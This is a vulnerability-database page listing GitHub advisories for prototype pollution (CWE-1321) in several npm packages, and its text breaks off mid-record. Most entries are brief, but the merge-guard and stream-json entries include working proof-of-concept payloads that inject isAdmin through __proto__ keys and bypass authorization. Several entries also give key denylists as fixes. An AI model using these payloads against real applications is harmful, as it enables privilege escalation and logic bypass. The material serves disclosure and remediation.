Common Weakness Enumeration

CWE-1321

Allowed

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Abstraction: Variant · Status: Incomplete

The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.

938 vulnerabilities reference this CWE, most recent first.

GHSA-MH8J-9JVH-GJF6

Vulnerability from github – Published: 2023-12-08 06:30 – Updated: 2023-12-08 15:49

Summary

mockjs vulnerable to Prototype Pollution via the Util.extend function

Details

All versions of the package mockjs are vulnerable to Prototype Pollution via the Util.extend function due to missing check if the attribute resolves to the object prototype. By adding or modifying attributes of an object prototype, it is possible to create attributes that exist on every object, or replace critical attributes with malicious ones. This can be problematic if the software depends on existence or non-existence of certain attributes, or uses pre-defined attributes of object prototype (such as hasOwnProperty, toString or valueOf).

User controlled inputs inside the extend() method of the Mock.Handler, Mock.Random, Mock.RE.Handler or Mock.Util, will allow an attacker to exploit this vulnerability.

Workaround

By using a denylist of dangerous attributes, this weakness can be eliminated.

Add the following line in the Util.extend function:

js js if (["proto", "constructor", "prototype"].includes(name)) continue

js // src/mock/handler.js Util.extend = function extend() { var target = arguments[0] || {}, i = 1, length = arguments.length, options, name, src, copy, clone

    if (length === 1) {
        target = this
        i = 0
    }

    for (; i < length; i++) {
        options = arguments[i]
        if (!options) continue

        for (name in options) {
        if (["__proto__", "constructor", "prototype"].includes(name)) continue
            src = target[name]
            copy = options[name]

            if (target === copy) continue
            if (copy === undefined) continue

            if (Util.isArray(copy) || Util.isObject(copy)) {
                if (Util.isArray(copy)) clone = src && Util.isArray(src) ? src : []
                if (Util.isObject(copy)) clone = src && Util.isObject(src) ? src : {}

                target[name] = Util.extend(clone, copy)
            } else {
                target[name] = copy
            }
        }
    }

    return target
}

Severity

8.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "mockjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-26158"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-12-08T15:49:13Z",
    "nvd_published_at": "2023-12-08T05:15:07Z",
    "severity": "HIGH"
  },
  "details": "All versions of the package mockjs are vulnerable to Prototype Pollution via the Util.extend function due to missing check if the attribute resolves to the object prototype. By adding or modifying attributes of an object prototype, it is possible to create attributes that exist on every object, or replace critical attributes with malicious ones. This can be problematic if the software depends on existence or non-existence of certain attributes, or uses pre-defined attributes of object prototype (such as hasOwnProperty, toString or valueOf).\n\nUser controlled inputs inside the extend() method of the Mock.Handler, Mock.Random, Mock.RE.Handler or Mock.Util, will allow an attacker to exploit this vulnerability.\n\n Workaround\n\nBy using a denylist of dangerous attributes, this weakness can be eliminated.\n\nAdd the following line in the Util.extend function:\n\njs\njs if ([\"__proto__\", \"constructor\", \"prototype\"].includes(name)) continue\n\n\njs\n// src/mock/handler.js\nUtil.extend = function extend() {\n        var target = arguments[0] || {},\n            i = 1,\n            length = arguments.length,\n            options, name, src, copy, clone\n\n        if (length === 1) {\n            target = this\n            i = 0\n        }\n\n        for (; i \u003c length; i++) {\n            options = arguments[i]\n            if (!options) continue\n\n            for (name in options) {\n            if ([\"__proto__\", \"constructor\", \"prototype\"].includes(name)) continue\n                src = target[name]\n                copy = options[name]\n\n                if (target === copy) continue\n                if (copy === undefined) continue\n\n                if (Util.isArray(copy) || Util.isObject(copy)) {\n                    if (Util.isArray(copy)) clone = src \u0026\u0026 Util.isArray(src) ? src : []\n                    if (Util.isObject(copy)) clone = src \u0026\u0026 Util.isObject(src) ? src : {}\n\n                    target[name] = Util.extend(clone, copy)\n                } else {\n                    target[name] = copy\n                }\n            }\n        }\n\n        return target\n    }\n",
  "id": "GHSA-mh8j-9jvh-gjf6",
  "modified": "2023-12-08T15:49:13Z",
  "published": "2023-12-08T06:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26158"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nuysoft/Mock"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuysoft/Mock/blob/00ce04b92eb464e664a4438430903f2de96efb47/dist/mock.js#L721-L755"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-MOCKJS-6051365"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "mockjs vulnerable to Prototype Pollution via the Util.extend function"
}

GHSA-MHWJ-73QX-JQXM

Vulnerability from github – Published: 2026-05-11 16:10 – Updated: 2026-05-11 16:10

Summary

@theecryptochad/merge-guard has Prototype Pollution in its deepMerge() function

Details

Summary

@theecryptochad/merge-guard versions prior to 1.0.1 are vulnerable to Prototype Pollution via the deepMerge() function. An attacker who controls the source object can inject __proto__ keys that mutate Object.prototype, affecting all objects in the Node.js runtime.

Details

The deepMerge() function recursively merges two objects without sanitizing reserved property keys (__proto__, constructor, prototype). When a source object contains a __proto__ key, its value is assigned to target.__proto__, which JavaScript engines interpret as a write to Object.prototype.

Proof of Concept

const { deepMerge } = require('@theecryptochad/merge-guard');
const payload = JSON.parse('{"__proto__":{"isAdmin":true}}');
deepMerge({}, payload);
console.log({}.isAdmin); // true — Object.prototype is polluted

Impact

Any application using deepMerge() with untrusted input (e.g. user-supplied JSON from HTTP requests, WebSocket messages, or config files) is vulnerable. An attacker can inject arbitrary properties onto Object.prototype, enabling privilege escalation, application logic bypass, and property injection.

Remediation

Upgrade to @theecryptochad/merge-guard >= 1.0.1, which adds an explicit blocklist:

const BLOCKED = new Set(['__proto__', 'constructor', 'prototype']);
if (BLOCKED.has(key)) continue;

References

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@theecryptochad/merge-guard"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-11T16:10:12Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`@theecryptochad/merge-guard` versions prior to 1.0.1 are vulnerable to Prototype Pollution via the `deepMerge()` function. An attacker who controls the source object can inject `__proto__` keys that mutate `Object.prototype`, affecting all objects in the Node.js runtime.\n\n## Details\n\nThe `deepMerge()` function recursively merges two objects without sanitizing reserved property keys (`__proto__`, `constructor`, `prototype`). When a source object contains a `__proto__` key, its value is assigned to `target.__proto__`, which JavaScript engines interpret as a write to `Object.prototype`.\n\n## Proof of Concept\n\n```js\nconst { deepMerge } = require(\u0027@theecryptochad/merge-guard\u0027);\nconst payload = JSON.parse(\u0027{\"__proto__\":{\"isAdmin\":true}}\u0027);\ndeepMerge({}, payload);\nconsole.log({}.isAdmin); // true \u2014 Object.prototype is polluted\n```\n\n## Impact\n\nAny application using `deepMerge()` with untrusted input (e.g. user-supplied JSON from HTTP requests, WebSocket messages, or config files) is vulnerable. An attacker can inject arbitrary properties onto `Object.prototype`, enabling privilege escalation, application logic bypass, and property injection.\n\n## Remediation\n\nUpgrade to `@theecryptochad/merge-guard \u003e= 1.0.1`, which adds an explicit blocklist:\n\n```js\nconst BLOCKED = new Set([\u0027__proto__\u0027, \u0027constructor\u0027, \u0027prototype\u0027]);\nif (BLOCKED.has(key)) continue;\n```\n\n## References\n- [CWE-1321: Improper Neutralization of Special Elements in Object Keys](https://cwe.mitre.org/data/definitions/1321.html)\n- [OWASP: Prototype Pollution](https://owasp.org/www-community/attacks/Prototype_Pollution)\n- [Fix commit](https://github.com/TheeCryptoChad/merge-guard/releases/tag/v1.0.1)",
  "id": "GHSA-mhwj-73qx-jqxm",
  "modified": "2026-05-11T16:10:12Z",
  "published": "2026-05-11T16:10:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/TheeCryptoChad/merge-guard/security/advisories/GHSA-mhwj-73qx-jqxm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TheeCryptoChad/merge-guard/commit/25e4b4f2618578a656ef3cb4946a1b475f736736"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/TheeCryptoChad/merge-guard"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@theecryptochad/merge-guard has Prototype Pollution in its deepMerge() function"
}

GHSA-MJ3G-7XCC-X4VH

Vulnerability from github – Published: 2026-07-31 17:49 – Updated: 2026-07-31 17:49

Summary

@phun-ky/defaults-deep Has a Prototype Pollution issue via Unsafe Recursive Property Merging

Details

Impact

A prototype pollution vulnerability exists in @phun-ky/defaults-deep prior to version 2.0.5.

The library recursively merged user-supplied objects without filtering unsafe property names such as __proto__, constructor, and prototype. An attacker able to supply crafted input could cause properties to be written to Object.prototype, resulting in prototype pollution affecting all objects within the running process.

Applications that pass untrusted input to defaultsDeep() may be impacted. Depending on how the application uses merged objects, this could lead to unexpected behavior, logic bypasses, denial of service, or other security issues.

Patches

This issue has been fixed in version 2.0.5.

Users should upgrade to version 2.0.5 or later.

The fix prevents unsafe prototype-related keys (__proto__, constructor, and prototype) from being processed during recursive merge operations and includes regression tests covering known prototype pollution vectors.

Workarounds

Users unable to upgrade should ensure that untrusted input is sanitized before being passed to defaultsDeep().

At a minimum, applications should reject or remove the following property names from all levels of user-controlled objects:

__proto__
constructor
prototype

Upgrading to a patched version remains the recommended mitigation.

Severity

7.3 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@phun-ky/defaults-deep"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54737"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-31T17:49:08Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\n\nA prototype pollution vulnerability exists in @phun-ky/defaults-deep prior to version 2.0.5.\n\nThe library recursively merged user-supplied objects without filtering unsafe property names such as `__proto__`, `constructor`, and `prototype`. An attacker able to supply crafted input could cause properties to be written to `Object.prototype`, resulting in prototype pollution affecting all objects within the running process.\n\nApplications that pass untrusted input to `defaultsDeep()` may be impacted. Depending on how the application uses merged objects, this could lead to unexpected behavior, logic bypasses, denial of service, or other security issues.\n\n### Patches\n\nThis issue has been fixed in version 2.0.5.\n\nUsers should upgrade to version 2.0.5 or later.\n\nThe fix prevents unsafe prototype-related keys (`__proto__`, `constructor`, and `prototype`) from being processed during recursive merge operations and includes regression tests covering known prototype pollution vectors.\n\n### Workarounds\n\nUsers unable to upgrade should ensure that untrusted input is sanitized before being passed to `defaultsDeep()`.\n\nAt a minimum, applications should reject or remove the following property names from all levels of user-controlled objects:\n\n- `__proto__`\n- `constructor`\n- `prototype`\n\nUpgrading to a patched version remains the recommended mitigation.",
  "id": "GHSA-mj3g-7xcc-x4vh",
  "modified": "2026-07-31T17:49:09Z",
  "published": "2026-07-31T17:49:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/phun-ky/defaults-deep/security/advisories/GHSA-mj3g-7xcc-x4vh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/phun-ky/defaults-deep/pull/49"
    },
    {
      "type": "WEB",
      "url": "https://github.com/phun-ky/defaults-deep/commit/807dba930f8718f9126cad59d949b8fd3539b059"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/phun-ky/defaults-deep"
    },
    {
      "type": "WEB",
      "url": "https://github.com/phun-ky/defaults-deep/releases/tag/2.0.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@phun-ky/defaults-deep Has a Prototype Pollution issue via Unsafe Recursive Property Merging"
}

GHSA-MJ4P-GMHR-92G3

Vulnerability from github – Published: 2024-06-17 18:31 – Updated: 2024-07-05 17:26

Summary

@akbr/update Prototype Pollution

Details

akbr update 1.0.0 is vulnerable to Prototype Pollution via update/index.js.

Severity

5.9 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@akbr/update"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-36578"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-17T22:30:05Z",
    "nvd_published_at": "2024-06-17T16:15:15Z",
    "severity": "MODERATE"
  },
  "details": "akbr update 1.0.0 is vulnerable to Prototype Pollution via update/index.js.",
  "id": "GHSA-mj4p-gmhr-92g3",
  "modified": "2024-07-05T17:26:43Z",
  "published": "2024-06-17T18:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-36578"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/mestrtee/8bc749ec2b5453d887b2f4a362a65897"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/akbr/update"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@akbr/update Prototype Pollution"
}

GHSA-MJ9H-QP8G-G746

Vulnerability from github – Published: 2024-07-30 21:31 – Updated: 2024-08-01 15:32

Details

chase-moskal snapstate v0.0.9 was discovered to contain a prototype pollution via the function attemptNestedProperty. This vulnerability allows attackers to execute arbitrary code or cause a Denial of Service (DoS) via injecting arbitrary properties.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2024-39010"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-30T20:15:04Z",
    "severity": "CRITICAL"
  },
  "details": "chase-moskal snapstate v0.0.9 was discovered to contain a prototype pollution via the function attemptNestedProperty. This vulnerability allows attackers to execute arbitrary code or cause a Denial of Service (DoS) via injecting arbitrary properties.",
  "id": "GHSA-mj9h-qp8g-g746",
  "modified": "2024-08-01T15:32:15Z",
  "published": "2024-07-30T21:31:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39010"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/mestrtee/af7a746df91ab5e944bd7a186816c262"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MJJJ-6P43-VHHV

Vulnerability from github – Published: 2022-06-25 00:00 – Updated: 2022-06-29 21:52

Summary

Prototype Pollution in deep-get-set

Details

All versions of package deep-get-set are vulnerable to Prototype Pollution via the 'deep' function. Note: This vulnerability derives from an incomplete fix of CVE-2020-7715

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "deep-get-set"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-21231"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-06-29T21:52:18Z",
    "nvd_published_at": "2022-06-24T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "All versions of package deep-get-set are vulnerable to Prototype Pollution via the \u0027deep\u0027 function. **Note:** This vulnerability derives from an incomplete fix of [CVE-2020-7715](https://security.snyk.io/vuln/SNYK-JS-DEEPGETSET-598666)",
  "id": "GHSA-mjjj-6p43-vhhv",
  "modified": "2022-06-29T21:52:18Z",
  "published": "2022-06-25T00:00:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-21231"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/acstll/deep-get-set"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-DEEPGETSET-2342655"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in deep-get-set"
}

GHSA-MJW6-4JJ6-33HC

Vulnerability from github – Published: 2026-10-05 22:49 – Updated: 2026-10-05 22:49

Summary

stream-json has a prototype pollution issue: Assembler writes this.current[this.key] on plain objects

Details

Summary

A prototype-pollution vulnerability in stream-json lets attacker-controlled JSON replace a parsed object's prototype.

Details

The streaming JSON parser (StreamValues/StreamObject/jsonc variants) writes keys via plain assignment, so a proto key replaces the parsed object's prototype with attacker-controlled content (verified 3.5.0 npm latest; native JSON.parse twin control stays clean). Parsing untrusted JSON is the contract. Assembler in Assembler.js.

PoC

Run:

node poc-stream-json-proto-injection.mjs

Full proof-of-concept source (poc-stream-json-proto-injection.mjs):

// stream-json v3.5.0 (npm latest) — local [[Prototype]] replacement via `__proto__` keys
// Class: prototype injection in a JSON deserializer (jsonparse/bser/jsonc-parser/plist family)
// Root cause: Assembler builds every object as a plain `Object` and writes
//   `this.current[this.key] = value` (src/core/assembler.js:160,180 — plain assignment,
//   ToPropertyKey → inherited Object.prototype __proto__ setter fires)
// Spec baseline: JSON.parse (CreateDataProperty) → own data property, no prototype change
// Run:  node poc-stream-json-proto-injection.mjs   (from C:/Users/rncb0/AppData/Local/Temp/0day/sj-lab)
import { parser } from 'stream-json';
import jsoncParser from 'stream-json/jsonc/Parser.js';
import { streamValues } from 'stream-json/streamers/stream-values.js';
import { streamObject } from 'stream-json/streamers/stream-object.js';
import { Readable } from 'node:stream';

const sv = (input, P = parser) => new Promise((res, rej) => {
  const vals = [];
  Readable.from([input]).pipe(P.asStream()).pipe(streamValues.asStream())
    .on('data', d => vals.push(d.value)).on('end', () => res(vals)).on('error', rej);
});
const so = (input) => new Promise((res, rej) => {
  const out = {};
  Readable.from([input]).pipe(parser.asStream()).pipe(streamObject.asStream())
    .on('data', d => { out[d.key] = d.value; }).on('end', () => res(out)).on('error', rej);
});

let pass = 0, fail = 0;
const check = (name, cond) => { if (cond) { pass++; console.log(`  PASS  ${name}`); } else { fail++; console.log(`  FAIL  ${name}`); } };

const INPUT = '{"__proto__":{"isAdmin":true,"role":"superuser"},"name":"bob","age":30}';
const baseline = JSON.parse(INPUT);
const sv1 = (await sv(INPUT))[0];
const so1 = await so(INPUT);
const jc1 = (await sv(INPUT, jsoncParser))[0];
const nested = (await sv('{"user":{"__proto__":{"isAdmin":true},"name":"alice"}}'))[0].user;
const arrProto = (await sv('{"__proto__":["isAdmin","role"],"name":"bob"}'))[0];
const prim = (await sv('{"__proto__":"x","name":"bob"}'))[0];
const ctor = (await sv('{"constructor":{"prototype":{"polluted":1}},"name":"bob"}'))[0];

console.log('== A. CORE VECTOR: __proto__ key → parsed object [[Prototype]] replaced (read-through injection) ==');
check('StreamValues: Object.keys hides __proto__/isAdmin (["name","age"])', JSON.stringify(Object.keys(sv1)) === '["name","age"]');
check('StreamValues: JSON.stringify hides injected props ({"name":"bob","age":30})', JSON.stringify(sv1) === '{"name":"bob","age":30}');
check('StreamValues: hasOwnProperty(isAdmin) === false (own-key allowlists pass)', !Object.prototype.hasOwnProperty.call(sv1, 'isAdmin'));
check('StreamValues: obj.isAdmin === true (INHERITED read-through)', sv1.isAdmin === true);
check('StreamValues: obj.role === "superuser"', sv1.role === 'superuser');
check('StreamValues: [[Prototype]] is NON-plain', Object.getPrototypeOf(sv1) !== Object.prototype);
check('StreamObject: same read-through (obj.isAdmin === true)', so1.isAdmin === true && Object.keys(so1).length === 2);
check('jsonc parser (comments variant): same read-through', jc1.isAdmin === true && JSON.stringify(Object.keys(jc1)) === '["name","age"]');
check('NESTED: user.isAdmin === true, own keys ["name"]', nested.isAdmin === true && JSON.stringify(Object.keys(nested)) === '["name"]');

console.log('== B. SPEC BASELINE (control): JSON.parse makes __proto__ an OWN data key ==');
check('JSON.parse: own __proto__ key visible', Object.keys(baseline).includes('__proto__'));
check('JSON.parse: isAdmin undefined (no read-through)', baseline.isAdmin === undefined);
check('JSON.parse: [[Prototype]] stays plain', Object.getPrototypeOf(baseline) === Object.prototype);

console.log('== C. VARIANT: array-valued __proto__ → parsed object becomes array-like ==');
check('proto is attacker Array (av[0]=="isAdmin", av[1]=="role")', arrProto[0] === 'isAdmin' && arrProto[1] === 'role');
check('legit data lands at attacker-indexed position (av[2]=="bob", length 3)', arrProto[2] === 'bob' && arrProto.length === 3);

console.log('== D. FAIL-CLOSED CONTROLS ==');
check('primitive __proto__ value: no-op, plain proto (spec semantics)', Object.getPrototypeOf(prim) === Object.prototype && Object.keys(prim).length === 1);
check('constructor key: harmless own prop', Object.prototype.hasOwnProperty.call(ctor, 'constructor') && ({}).polluted === undefined);
check('NO GLOBAL Object.prototype pollution', ({}).polluted === undefined && ({}).isAdmin === undefined);

console.log('== E. IMPACT: auth/flag decisions read attacker values; hardened-merge bypass ==');
const authorize = o => o.isAdmin === true && o.role === 'superuser';
check('authorize(stream-json obj) === true (GRANT)', authorize(sv1) === true);
check('authorize(JSON.parse twin) === false (DENY — control)', authorize(baseline) === false);
const target = { theme: 'light' };
for (const k in sv1) target[k] = sv1[k];        // typical naive/hardened merge (for-in)
check('merge copies INHERITED isAdmin as OWN prop onto target (skip-__proto__ sanitizer defeated)',
      Object.prototype.hasOwnProperty.call(target, 'isAdmin') && target.isAdmin === true);
const t2 = { theme: 'light' };
for (const k in baseline) t2[k] = baseline[k];   // JSON.parse twin stays clean
check('merge of JSON.parse twin has NO isAdmin (control)', !Object.prototype.hasOwnProperty.call(t2, 'isAdmin'));

console.log(`\nRESULT: ${pass} PASS / ${fail} FAIL`);
process.exit(fail ? 1 : 0);

Observed output (verbatim, Node 24.15.0, Windows):

RESULT: 21 PASS / 0 FAIL

Impact

Prototype pollution (CWE-1321). Applications parsing attacker-influenced streaming JSON can have authorization checks read attacker-controlled values. Affects stream-json <= 3.5.0; no patched version exists.

Maintainer note on scope

The attack vector is local — stream-json's documented input is data the user owns (database dumps, exports, logs); it is not designed for JSON from the open internet, and the docs now say so. The parsed object's prototype was replaced (never the global Object.prototype); "__proto__": null additionally strips Object.prototype from the parsed object, so ordinary consumer code calling hasOwnProperty() throws. Assembler and FlexAssembler now create an own data property for a __proto__ key, exactly as JSON.parse does.

Severity

5.1 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "stream-json"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-104183"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T22:49:19Z",
    "nvd_published_at": "2026-10-01T21:17:19Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nA prototype-pollution vulnerability in stream-json lets attacker-controlled JSON replace a parsed object\u0027s prototype.\n\n### Details\nThe streaming JSON parser (StreamValues/StreamObject/jsonc variants) writes keys via plain assignment, so a __proto__ key replaces the parsed object\u0027s prototype with attacker-controlled content (verified 3.5.0 npm latest; native JSON.parse twin control stays clean). Parsing untrusted JSON is the contract. Assembler in Assembler.js.\n\n### PoC\n\nRun:\n```bash\nnode poc-stream-json-proto-injection.mjs\n```\n\nFull proof-of-concept source (poc-stream-json-proto-injection.mjs):\n```js\n// stream-json v3.5.0 (npm latest) \u2014 local [[Prototype]] replacement via `__proto__` keys\n// Class: prototype injection in a JSON deserializer (jsonparse/bser/jsonc-parser/plist family)\n// Root cause: Assembler builds every object as a plain `Object` and writes\n//   `this.current[this.key] = value` (src/core/assembler.js:160,180 \u2014 plain assignment,\n//   ToPropertyKey \u2192 inherited Object.prototype __proto__ setter fires)\n// Spec baseline: JSON.parse (CreateDataProperty) \u2192 own data property, no prototype change\n// Run:  node poc-stream-json-proto-injection.mjs   (from C:/Users/rncb0/AppData/Local/Temp/0day/sj-lab)\nimport { parser } from \u0027stream-json\u0027;\nimport jsoncParser from \u0027stream-json/jsonc/Parser.js\u0027;\nimport { streamValues } from \u0027stream-json/streamers/stream-values.js\u0027;\nimport { streamObject } from \u0027stream-json/streamers/stream-object.js\u0027;\nimport { Readable } from \u0027node:stream\u0027;\n\nconst sv = (input, P = parser) =\u003e new Promise((res, rej) =\u003e {\n  const vals = [];\n  Readable.from([input]).pipe(P.asStream()).pipe(streamValues.asStream())\n    .on(\u0027data\u0027, d =\u003e vals.push(d.value)).on(\u0027end\u0027, () =\u003e res(vals)).on(\u0027error\u0027, rej);\n});\nconst so = (input) =\u003e new Promise((res, rej) =\u003e {\n  const out = {};\n  Readable.from([input]).pipe(parser.asStream()).pipe(streamObject.asStream())\n    .on(\u0027data\u0027, d =\u003e { out[d.key] = d.value; }).on(\u0027end\u0027, () =\u003e res(out)).on(\u0027error\u0027, rej);\n});\n\nlet pass = 0, fail = 0;\nconst check = (name, cond) =\u003e { if (cond) { pass++; console.log(`  PASS  ${name}`); } else { fail++; console.log(`  FAIL  ${name}`); } };\n\nconst INPUT = \u0027{\"__proto__\":{\"isAdmin\":true,\"role\":\"superuser\"},\"name\":\"bob\",\"age\":30}\u0027;\nconst baseline = JSON.parse(INPUT);\nconst sv1 = (await sv(INPUT))[0];\nconst so1 = await so(INPUT);\nconst jc1 = (await sv(INPUT, jsoncParser))[0];\nconst nested = (await sv(\u0027{\"user\":{\"__proto__\":{\"isAdmin\":true},\"name\":\"alice\"}}\u0027))[0].user;\nconst arrProto = (await sv(\u0027{\"__proto__\":[\"isAdmin\",\"role\"],\"name\":\"bob\"}\u0027))[0];\nconst prim = (await sv(\u0027{\"__proto__\":\"x\",\"name\":\"bob\"}\u0027))[0];\nconst ctor = (await sv(\u0027{\"constructor\":{\"prototype\":{\"polluted\":1}},\"name\":\"bob\"}\u0027))[0];\n\nconsole.log(\u0027== A. CORE VECTOR: __proto__ key \u2192 parsed object [[Prototype]] replaced (read-through injection) ==\u0027);\ncheck(\u0027StreamValues: Object.keys hides __proto__/isAdmin ([\"name\",\"age\"])\u0027, JSON.stringify(Object.keys(sv1)) === \u0027[\"name\",\"age\"]\u0027);\ncheck(\u0027StreamValues: JSON.stringify hides injected props ({\"name\":\"bob\",\"age\":30})\u0027, JSON.stringify(sv1) === \u0027{\"name\":\"bob\",\"age\":30}\u0027);\ncheck(\u0027StreamValues: hasOwnProperty(isAdmin) === false (own-key allowlists pass)\u0027, !Object.prototype.hasOwnProperty.call(sv1, \u0027isAdmin\u0027));\ncheck(\u0027StreamValues: obj.isAdmin === true (INHERITED read-through)\u0027, sv1.isAdmin === true);\ncheck(\u0027StreamValues: obj.role === \"superuser\"\u0027, sv1.role === \u0027superuser\u0027);\ncheck(\u0027StreamValues: [[Prototype]] is NON-plain\u0027, Object.getPrototypeOf(sv1) !== Object.prototype);\ncheck(\u0027StreamObject: same read-through (obj.isAdmin === true)\u0027, so1.isAdmin === true \u0026\u0026 Object.keys(so1).length === 2);\ncheck(\u0027jsonc parser (comments variant): same read-through\u0027, jc1.isAdmin === true \u0026\u0026 JSON.stringify(Object.keys(jc1)) === \u0027[\"name\",\"age\"]\u0027);\ncheck(\u0027NESTED: user.isAdmin === true, own keys [\"name\"]\u0027, nested.isAdmin === true \u0026\u0026 JSON.stringify(Object.keys(nested)) === \u0027[\"name\"]\u0027);\n\nconsole.log(\u0027== B. SPEC BASELINE (control): JSON.parse makes __proto__ an OWN data key ==\u0027);\ncheck(\u0027JSON.parse: own __proto__ key visible\u0027, Object.keys(baseline).includes(\u0027__proto__\u0027));\ncheck(\u0027JSON.parse: isAdmin undefined (no read-through)\u0027, baseline.isAdmin === undefined);\ncheck(\u0027JSON.parse: [[Prototype]] stays 